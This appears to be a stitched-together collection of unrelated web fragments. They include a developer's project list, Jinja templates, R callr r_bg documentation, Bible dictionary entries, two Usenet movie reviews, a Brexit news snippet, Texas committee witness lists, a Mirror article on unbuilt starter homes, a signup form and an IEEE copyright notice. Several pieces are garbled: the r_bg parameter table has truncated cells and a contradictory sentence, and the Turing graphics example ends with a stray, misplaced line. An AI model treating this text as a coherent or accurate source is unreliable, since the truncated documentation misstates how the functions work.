Pulicat Light House 200
feet tall located near Sriharikota, India's space launch site. |


The Transperth API is website and npm package that allows progmattic access to query Transperth's services.
Hookcord is a wrapper for sending WebHooks to the Discord chat messaging platform. It allows you to import WebHook objects from Discord.JS as well as use plain JSON as the WebHook body.
Pen9 is a completely online text editor, somewhat like Google Docs.
oohaY is a web crawler and simple search engine.
This is a Command-Line program that allows a table of a SQLAnywhere Database to be searched for a specific keyword in a column.
This is a web application that functions as an image host and pastebin. Designed to run on a RaspberryPi.
This is a school project I made which is a choose-your-own-adventure kind of game.


{% extends 'base.html' %} {% block title %} Compliments Results {% endblock %} {% block content %}
Hello {{ name }}!
I forgot to mention, but you look
{{ compliment }}
See you next time!


<component-custom-elements>
<component-define>
<countdown-innerhtml>
<countdown-react>
<countdown-lighterhtml>
<countdown-use-state>
<countdown-rxjs>


Starts evaluating an R function call in a background R process, and returns immediately.
r_bg(func, args = list(), libpath = .libPaths(), repos = default_repos(), stdout = "|", stderr = "|", poll_connection = TRUE, error = getOption("callr.error", "error"), cmdargs = c("--slave", "--no-save", "--no-restore"), system_profile = FALSE, user_profile = FALSE, env = rcmd_safe_env(), supervise = FALSE)
| func | Function object to call in the new R process.
The function should be self-contained and only refer to
other functions and use variables explicitly from other packages
using the r(.libPaths) does not work, because r(function() .libPaths()) works just fine. |
|---|---|
| args | Arguments to pass to the function. Must be a list. |
| libpath | The library path. |
| repos | The repos option. If |
| stdout | The name of the file the standard output of
the child R process will be written to.
If the child process runs with the |
| stderr | The name of the file the standard error of
the child R process will be written to.
In particular |
| poll_connection | Whether to have a control connection to the process. This is used to transmit messages from the subprocess to the parent. |
| error | What to do if the remote process throws an error. See details below. |
| cmdargs | Command line arguments to pass to the R process.
Note that |
| system_profile | Whether to use the system profile file. |
| user_profile | Whether to use the user's profile file. |
| env | Environment variables to set for the child process. |
| supervise | Whether to register the process with a supervisor. If |
An r_process
object, which inherits from process,
so all process
methods can be called on it, and in addition it also
has a get_result()
method to collect the result.
# NOT RUN { rx <- r_bg(function() 1 + 2) # wait until it is done rx$wait() rx$is_alive() rx$get_result() # }


"SALMON "shady; or Zalmon (q.v.), a hill covered with dark forests, south of Shechem, from which Abimelech and his men gathered wood to burn that city (Judges 9:48). In Psalm 68:14 the change from war to peace is likened to snow on the dark mountain, as some interpret the expression. Others suppose the words here mean that the bones of the slain left unburied covered the land, so that it seemed to be white as if covered with snow. The reference, however, of the psalm is probably to Joshua 11 and 12. The scattering of the kings and their followers is fitly likened unto the snow-flakes rapidly falling on the dark Salmon. It is the modern Jebel Suleiman.
"SALMON "shady; or Zalmon (q.v.), a hill covered with dark forests, south of Shechem, from which Abimelech and his men gathered wood to burn that city (Judges 9:48). In Psalm 68:14 the change from war to peace is likened to snow on the dark mountain, as some interpret the expression.
Others suppose the words here mean that the bones of the slain left unburied covered the land, so that it seemed to be white as if covered with snow. The reference, however, of the psalm is probably to Joshua 11 and 12. The scattering of the kings and their followers is fitly likened unto the snow-flakes rapidly falling on the dark Salmon. It is the modern Jebel Suleiman.


Labels
edit
Bookmarks
123
↑ Back to top
×
Remove label
You are going to remove label [
], are you sure?


The CMS Family has upgraded to the latest version of the Online Reporting System (ORS).
Please choose the appropriate logo below to be redirected to the new ORS.


UK PM Johnson: Will keep no-deal Brexit preparations in a state of readiness
by Eren SengezerWhile responding to a question from a reporter about dropping no-deal Brexit preparations, "Many of those preparations will be extremely valuable as we come out of EU arrangements anyway," British Prime Minister Boris Johnson said, per Reuters. "So I think that they were the right thing to have done and to keep in a state of readiness."
Johnson further added that he was confident that they will have a free trade deal with the European Union by the end of 2020 to help the economy shake off the potential negative impact of Brexit.
The British pound's reaction was relatively muted to these remarks and the GBP/USD pair was last down 0.1% on the day at 1.2900.


To begin using SereneApi you will need to install the Nuget Package. This can be done by using your IDE or the command line.
Copyright © 2020 DeltaWare


×
- Click the "Browse"
- Drag and drop your file to "Drop File Here"
- If you do not select time range, this tool will read from the beginning until it reaches the configured maxRowsLimitation.
- If you do not select time zone, this tool will use your local default timezone.
- If you do not choose any port, this tool will try to load data for all ports until it reaches the configured maxRowsLimitation.
- After choosing one port, this tool will only try to load data for the selected port until it reaches the configured maxRowsLimitation.
- If you do not know any port information, you can click "Load" to load all ports from the nameserver history file.
- If you zoomed in, you can go back to original status by clicking "Reset Chart"


EBD - Easton Bible DIctionary
Gera
GERA
"GERA "grain. (1.) The son of Bela and grandson of Benjamin (
1 Chronicles 8:3, 5,7
).
(2.) The father of Ehud the judge (
Judges 3:15
).
(3.) The father of Shimei, who so grossly abused David (
2 Samuel 16:5
;
19:16, 18
).
"GERA "grain. (1.) The son of Bela and grandson of Benjamin (1 Chronicles 8:3, 5,7).
(2.) The father of Ehud the judge (Judges 3:15).
(3.) The father of Shimei, who so grossly abused David (2 Samuel 16:5; 19:16, 18).


Write a function faculty, such that faculty(n) = 1*2*3*4*....*n.
Call faculty directly.
Write a class that contains a function call to faculty.


A BST in the way that is being implemented for this Sprint is a bit too simple to see any real-world use-cases. There are many (more complex) variants of BSTs that do see production use. One very notable variant is the B-tree, which is a self-balancing ordered variant of the BST. B-trees play a critical role in database and file system indexing. Other notable variants include the AVL tree, which is a self-balancing BST and the prefix tree, which is specialized for handling text.
The first element added to a BST is the root of the tree. However, doing it this way means that it’s a very simple matter to end up with a lopsided BST. If we simply insert a monotonically ascending or descending sequence of values, then the tree would essentially flatten down to a linked list, and we’d lose all the benefits that a BST is supposed to confer. Self-balancing variants of the BST exist in order to alleviate this exact problem.


HARD-BOILED *** of **** grade is B
Hard-Boiled has gained a certain fame since the sudden popularation of Hong Kong action films, and it deserves every bit of it. his film is exciting and makes most American actioners look stale and unmotivated.
The plot is the regular male bonding esque story with small twists and amazing set pieces. We get a lot-o-death in a resteraunt, hospital and factory. Director Woo uses slow frames and sped up shots that inject adrinalin to action scenes that seem almost hypnotic.
Another praise of the film is in the use of hospital for climatic setting. What a great idea. There are plenty of patients who can't move out of the way and of course a maternity ward full of babies. When the hospital may be blown up by terrorists every baby must be rescued and delivered -- several stories down.
I have praised the action and it's exciting, also the film looks cool, like a cold glaze over the screen. It has the same look as many of the Hong Kong action films that have began a wave of new fans. For you fans, this film is definatly worth a look, but first check out Woo's The Killers.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Seeing the Unseeable by Simulating the Large-scale Structure of Dark Matter
Weak lensing helps us create image of the previously unseeable parts of the Universe.
Dark energy could be a strange new type of matter or it could be evidence that we don’t fully understand how gravity behaves on cosmic scales. I am interested in how can we use different types of astrophysical measurements to distinguish between competing theories.
The first time I saw the rings of Saturn through a telescope, I was hooked. I didn’t know yet that I wanted to be an astronomer, but I knew that there was something incredible about looking so deeply into darkness and finding entirely new places.


On 23 November 2017, 15 new articles were published in 9 journals.
Current U.s. Agency-Level Trends in Supporting Implementation of Evidence-Based Practices in Parole
Expanding Our Understanding of Crime
Second Major Redesign of the National Crime Victimization Survey (ncvs)
Improving Our Conceptualization and Measurement of Crime
Female-Perpetrated Homicide in South Korea: A Homicide Typology
Invisible Pirates: Women and the Gendered Roles of Somali Piracy
Gender, Race/ethnicity and Prediction: Risk in Behavioral Assessment
The Effect of Removing Sentencing Credits on Inmate Misbehavior
Gender and Intimate Partner Violence in Latino Immigrant Neighborhoods
Change Or Be Changed: Diagnosing the Readiness to Change in the Canadian Police Sector
Governing the Police: Experience in Six Democracies
Dispossession By Accumulation: the Impacts of Discretionary Arrests in New York City


Welcome to Game of Thrones Trivia. This is not for the passive fan!
In this quiz, you will be tested on how well you know A Song of Ice and Fire and Game of Thrones canon.
Google will not save you here, as you have only 10 seconds to answer each question.
Get less than 7 right, and you'll go the same way as Ned!
10


Turing has a limited number of pictures that are available at any one time (approximately 1,000). A program that continuously allocates pictures (using Pic.New or Pic.FileNew) will eventually fail if it does not free the pictures using Pic.Free. As well, if a program allocates hundreds of pictures and does not free any of them, the memory devoted to the pictures will not be freed and eventually the program may exhaust the memory on the machine.
The animation in the example flickers slightly. See View.Update for information on how to produce flicker-free animation.
var picID, bgID : int
var x, y, c, direction : int
% Create the picture being moved
Draw.FillBox (50, 50, 150, 150, brightred)
Draw.FillStar (50, 50, 150, 150, brightgreen)
Draw.FillOval (100, 100, 30, 30, brightblue)
picID := Pic.New (50, 50, 150, 150)
% Create a background
for i : 1 .. 1000
x := Rand.Int (0, maxx)
y := Rand.Int (0, maxy)
c := Rand.Int (9, 15) % Use bright colors
Draw.FillBox (x, y, x + 30, y + 30, c)
end for
x := 1
y := 100
direction := 1
% Main loop
loop
% Take a picture of the background
bgID := Pic.New (x, y, x + 100, y + 100)
Pic.Draw (picID, x, y, picCopy) % Draw the picture
delay (20) % Delay 20 milliseconds
Pic.Draw (bgID, x, y, picCopy) % Draw the background over the picture
Pic.Free (bgID) % Free the background
if x <= 0 or (x + 100) >= maxx then
direction := -direction
end if
x += direction
end loop
This means that you can only call the function by calling Pic.Free, not by calling Free.


SNAKE EYES RATING: 6.5 / 10 --> So-so
For more reviews go to surf.to/joblo
Brian DePalma returns to his directorial seat after his last commercial outing in 1996 with Tom Cruise in MISSION IMPOSSIBLE (8/10). Last summer, Brian, Nicolas Cage and Gary Sinise were the talk of my hometown of Montreal, as they took over the sporting alma mater of the Montreal Canadians, the Forum, for a period of three months over the summer. Anybody who was anybody, including anybodies who weren't anybody, got parts as extras on this set, including my brother and my good friend The Arrow (Neither of whom can be clearly identified in the finished product.)
 His childhood friend Major Kevin Dunne (Sinise) has moved on with his life, and now works as the right hand man of the US Secretary of Defense. The night is "fight night" in Atlantic City, with everyone in the crowd, and a raging hurricane gasping outside. During the boxing match, the Secretary of Defense gets shot in the neck by a sniper. Santoro becomes the investigating cop of the shooting, as evidence of a conspiracy to kill the man comes to light. The mystery behind the shooting is the focus of the rest of the film.
CRITIQUE: Highly stylized, extremely talkative, generally actionless, and lightly entertaining mystery from the man who has made pick-pocketing from one of the greatest directors of all time, Alfred Hitchcock, part of his own legend. This film does not maintain many moments of extreme thrills or surprises. It does put together a decent mystery plot by way of flashbacks (Written by David Koepp, the man who also penned MISSION IMPOSSIBLE, the two JURASSIC PARK's and DePalma's CARLITO'S WAY (7.5/10)), with some typically slick styling from DePalma, all the while running in real time, but the overall framework of the film leaves little to get excited about. The montage used during the final credit crawl is also one of the worst and most boring of all time.
Nicolas Cage does a decent job of over-acting his over the top character here, and so does Sinise as the ambiguous friend from the day. Juliette Binoche look-alike Carla Gugina from TV's "Spin City" also turns in a fitting performance as the girl in distress. I must admit that my recent viewing of THE NEGOTIATOR (7/10) might've set my standards for thrills a little higher for this one, but either way, this movie's plot does little to innovate the genre, while continuing to homage the genre that made DePalma who he is today.
Admittedly, I was impressed with another one of DePalma's classic one-shot-camera opening sequences, this one lasting at least 20 minutes, and many of his other camera tricks, but overall, the movie seemed flawed in its attempt to enrapture the audience's imagination, and deliver on a solid ending. The parts after the official denouement were actually some of the funniest scenes in the movie, while the final scene just seemed like another Hollywood demand gone acknowledged. All in all, I guess you should go see this film, if you really like DePalma, his style and his mysteries (Or if you know somebody who may have played an extra in the audience.) If not, you could easily wait for the video version of this film, which will surely appetize your visually demanding gut and fill any 100-minute gap that's needed in your life.
Little Known Facts: Originally, Al Pacino was slated to play the role of Major Kevin Dunne (Now played by Gary Sinise.) Nicolas Cage received a salary of US$16,000,000 for his role in this movie. Gary Sinise's character name in this film is Kevin Dunne. The main boxing reporter's real-life name from this movie is Kevin Dunn (Brother of famed Saturday Night Live alumnus Nora Dunn.) Carla Gugino began a modeling career at the tender age of 15. In 1976, Gary Sinise co-founded Chicago's Steppenwolf Theatre with his friend, and fellow Oscar nominated actor, John Malkovich. Brian DePalma's middle name is Russell. He is the son of a surgeon, and once directed Bruce Springsteen's "Dancing In The Dark" music video.
Review Date: August 8, 1998 Director: Brian DePalma Writer: David Koepp Producers: Brian DePalma, David Koepp, Gale Anne Hurd, Jeff Levine Actors: Nicolas Cage as Rick Santoro Gary Sinise as Major Kevin Dunne Carla Gugino as Julia Costello Genre: Thriller Year of Release: 1998
Visit JoBlo's Movie Emporium http://surf.to/joblo
(c) 1998 Berge Garabedian
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% extends "pred/base_layout.html" %} {%block content_right_panel %} {% if username %} {% include "pred/user_header.html" %} {% endif %} {% if warninfo %}
Warning! some letters in your query have been modified by system. click this link to see details
{% endif %}Thanks very much for using BOCTOPUS2
Host: {{client_ip}}
#}Number of submitted sequences: {{numseq}}
The sequence(s) you submitted can be found in {{raw_query_seqfile}}
Your result will be available at this link
{% if email %} Your result will also be send to {{email}} when it is ready. {% endif %}
{% endblock %}


Such strings may be confusing, and are often the result of errors in escape code creation.
Example:
System.out.println("\1234"); // Octal escape sequence '\123' immediately followed by a digit


Mixing with the rellies
Ok, so there I was in Bateman's Bay. I was, of course, a bit apprehensive as I didn't know Alan and Shirley and didn't want to impose on them too much. But it turned out I had a superb time. As I think I wrote before, I went on a 3 or so hour walk on Saturday, then we watched a bit of tv in the evening. Following "Hey Hey It's Saturday" on 9 was "Good News Weekend", sort of like "Have I Got News For You", on which they took the mick out of Diana quite a bit. Apparently, Disney has decided to make a cartoon of her life, which may be a musical. So imagine the sort of songs they could sing in it. For example, this little ditty:
"Who's the girl who used to hurl when every meal went by?
P-R-I
N-C-E-S
S then D then I
Princess Di, Princess Di.
I wish to God her driver hand't been so high".
All in the best possible taste.
On Sunday we went for a bit of a drive ourselves, without any Fiats getting in the way. We drove up to Tilba, near Mt. Dromedary, where I bought a wicked leather belt. Before that we'd gone over to one of the more secluded local beaches, to spot some kangaroos. They were quite tame, and I petted one of them. Their fur was quite smooth, but it was good that you don't get any in the roo burgers. We'd also been up to a local lookout, with a great view of the area, where Alan's car got a flat. On the way back from the drive we bought 3 dozen oysters, as you do, and had those as a starter in the evening, followed by the old favourite, spag bol.
I was dropped off fairly early in the town centre this morning, and caught the bus up to Sydney, where I am now. While I'm waiting for tonight's 6pm bus, I'm off into town to do a bit of shopping.
Back to the main page


The modeless dialogs (Calculator, Bookmarks, Find etc) are very convenient as they are always available for quickly performing an operation. However, they can get in the way of the display which is why HexEdit provides several mechanisms to avoid them obscuring the file you are working on.
You can hide the dialog by closing it, using the x button in the top right corner.
You can roll up the dialog, so only the title bar is visible, using the arrow button in the top right corner.
You can dock the dialog on the side of the window. (See Toggle Dialog Dockability Command.)
You can make the dialog undocked (or floating) and move it to a different part of the screen or even a different monitor.
Lastly, HexEdit will move the dialogs out of the ways if they obscure the cursor position in the active file.
However, sometimes one of these mechanisms may make it hard to locate a dialog. For example, the dialog may be rolled up or have been moved outside the visible area of the screen. Also, sometimes registry settings become messed up and the dialog may become incorrectly docked and impossible to undock.
If you cannot find one or more modeless dialogs you can use this command to undock, unroll and move them all to the top-left of the HexEdit main window.


--- layout: post title: maserati bora date: '2016-04-24T13:31:34-07:00' tags: - fromtheinternet - poster - Cars - maserati tumblr_url: http://beekley.xyz/post/143338621826/maserati-bora ---
Maserati Bora


WITNESS LIST Transportation Committee March 2, 1999-3:00P HB 523 Registering, but not testifying: On: Burdette, Clifton (Texas Department of Public Safety) Dike, Jerry (Texas Department of Transportation) HB 1041 For: Joiner, Gary (Texas Farm Bureau) Registering, but not testifying: On: Dike, Jerry (Texas Department of Transportation) HB 1492 For: Strain, H.W. (Texas Motorcycle Rights Association) On: Burdette, Clifton (Texas Department of Public Safety) Registering, but not testifying: For: Hardy, Richard (Motorcycle Safety Foundation) Marks, Michael (Texas Motorcycle Dealers Association) HB 1538 For: Findeisen, Les (Texas Motor Transportation Association) Registering, but not testifying: On: Smith, Lawrance (Texas Department of Transportation) HB 1744 For: Field, Donna (Self) Roberts, Dan (Self and Texas Association for Pupil Transportation) Smith, James (Self and Pasadena ISD) Registering, but not testifying: For: Ramos, Joe (Texas Association of School Boards) On: Goertz, Debbie (Texas Department of Public Safety) Warren, Susan (Texas Department of Health)


SuperKamiGuru9000
Grid
9:29
My Hero Academia Episode 54 Review - Camie Utsushimi Is More Than Meets The Eye!
SuperKamiGuru9000
•
220 views
2 hours ago
When it comes to women Deku always attracts the crazy ones! Camie Utsushimi introduces herself to the young hero and things get intense. Find out more in my review of My Hero Academia Episode 54. ...
Show more


Three blocks are pushed along a frictionless surface as shown in the diagram above.
a) What is the net acceleration of the system? (2K) b) How much force is the 6.0 kg block exerting on the 4.0 kg block?


Tooltips as simple as they get
Hover over me to see how it looks.
You can specify the position by setting @data-tooltip-position
to
north,
east,
south
or
west.
Defaults to north
if omitted.
Set @data-tooltip-decorator
, if you need a hook on a specific tooltip.
No width
is set by default, but you can set white-space
on .tooltip
to whatever you like or set an explicit width through a parent selector. That's not up for me to decide. 👼


WITNESS LIST Ways & Means Committee February 21, 2001-2:00P HB 82 For: Roberts, Daron (University of Texas at Austin) On: Heleman, John (Comptroller of Public Accounts) HB 297 For: Brooks, Tommy (City of Port Aransas, Nueces Co. TX) Prewitt, Dave (Coastal Bend Hotel, Motel, and Condiminium Association) Utter, Tom (City of Corpus Christi) HB 1022 For: Joslove, Scott K. (Texas Hotel and Motel Association)


The Tories have delivered zero of the 200,000 starter homes they promised in 2015
None. Zip. Zilch. New official figures show the £2 billion project has delivered precisely no homes for first time buyers since it was announced four years ago
by Mikey Smith, https://www.mirror.co.uk/authors/mikey-smith/The Tories have delivered zero of the 200,000 starter homes they promised in 2015.
Official figures released today reveal the £2 billion project to build homes exclusively for first time buyers has resulted in precisely none actually being built.
The commitment was made in the party's 2015 election manifesto, which said they would be sold exclusively to first-time buyers under the age of 40, in a bid to help young people take their first step on the property ladder.
And it was backed up by £2.3 billion being made available to support the delivery of the first 60,000 homes in that year's Spending Review.
But four years on, the National Audit Office (NAO) said that, to date, no starter homes have actually been built.
Starter homes
200,000
Starter homes promised by the Tories in 2015
£2.3 billion
Money budgeted to pay for starter homes
0
Starter homes built under the Tory starter homes scheme
Successive Tory housing ministers have claimed work was set to commence on the first starter homes. And none of their claims have proven to be true.
In 2016, then-Housing Minister Brandon Lewis - now an immigration minister - said: "We announced a £2.3 billion funding package to support the delivery of up to 60,000 starter homes.
Of this funding £1.2 billion will - in the first instance – be made available to remediate or assemble brownfield land to deliver at least 30,000 starter homes through the Starter Homes Land Fund."
No starter homes were built.
In 2017, then-Housing Minister Gavin Barwell - who was later Theresa May's chief of staff and has now been installed in the House of Lords as Baron Barwell - claimed the first homes would be built "this year."
He said: "Thousands of new homes backed with financial support will help more first time buyers into home ownership.
"They will be built exclusively for first-time buyers between 23 and 40 years old at a discount of at least 20% below market value. The first wave of 30 local authority partnerships – selected on the basis of their potential for early delivery – will spearhead schemes."
No starter homes were built.
While the Housing and Planning Act 2016 created the statutory framework for the project to go ahead, the NAO said the relevant sections of the legislation has yet to come into force.
But it said the Ministry of Housing, Communities and Local Government (MHCLG) now no longer has a budget dedicated to the starter homes project.
Funding which had been earmarked for the scheme has instead been spent on acquiring and preparing brownfield sites for housing more generally - some of which was "affordable" housing.
Between 2015-16 and 2017-18, the MHCLG and its agencies spent £174 million preparing land originally intended for starter homes.
The NAO said that, while it was "possible" developers had built and sold some properties which met the starter home criteria, legally they could not be marketed as such until the MHCLG had put place the necessary secondary legislation.
The chairwoman of the Commons Public Accounts Committee, Meg Hillier, said: "Despite setting aside over £2 billion to build 60,000 new starter homes, none were built."
She added: "Since 2010 many housing programmes announced with much fanfare have fallen away, with money then recycled into the next announcement.
"The department needs to focus on delivery and not raise, and then dash, people's expectations."
Shadow housing secretary John Healey said: "The Conservatives' flagship housing announcement for first-time buyers has been a total failure. It's clear you can't trust the Tories to do what they promise."


Sign Up
Log In
Sign Up for Free
First Name
*
Last Name
*
Email Address
*
Set A Password
*
Select your Interests
You can multi select it by pressing shift then click
Music
Sports
Education
Food
Social Service
Get Started
Welcome Back!
Email Address
*
Password
*
Forgot Password?
Log In


Copyright |
Copyright and Reprint PermissionAbstracting is permitted with credit to the source. Libraries are permitted to photocopy beyond the limit of U.S. copyright law for private use of patrons those articles in this volume that carry a code at the bottom of the first page, provided the per-copy fee indicated in the code is paid through Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923. For reprint or republication permission, email to IEEE Copyrights Manager at<EMAIL_ADDRESS>All rights reserved. Copyright ©2016 by IEEE. Author Responsibilities
The IEEE distributes its technical publications throughout the world and wants to ensure that the material submitted to its publications is properly available to the readership of those publications. Authors must ensure that their Work meets the requirements as stated in section 8.2.1 of the IEEE PSPB Operations Manual, including provisions covering originality, authorship, author responsibilities and author misconduct. More information on IEEE’s publishing policies may be found at
Author/Employer RightsIf you are employed and prepared the Work on a subject within the scope of your employment, the copyright in the Work belongs to your employer as a work-for-hire. In that case, the IEEE assumes that when you sign this Form, you are authorized to do so by your employer and that your employer has consented to the transfer of copyright, to the representation and warranty of publication rights, and to all other terms and conditions of this Form. If such authorization and consent has not been given to you, an authorized representative of your employer should sign this Form as the Author. Contact Information
For technical inquiries about the content of these proceedings, please contact: Additional InformationThis work was supported by the Korean Federation of Science and Technology Societies (KOFST) grant funded by the Korean Government. |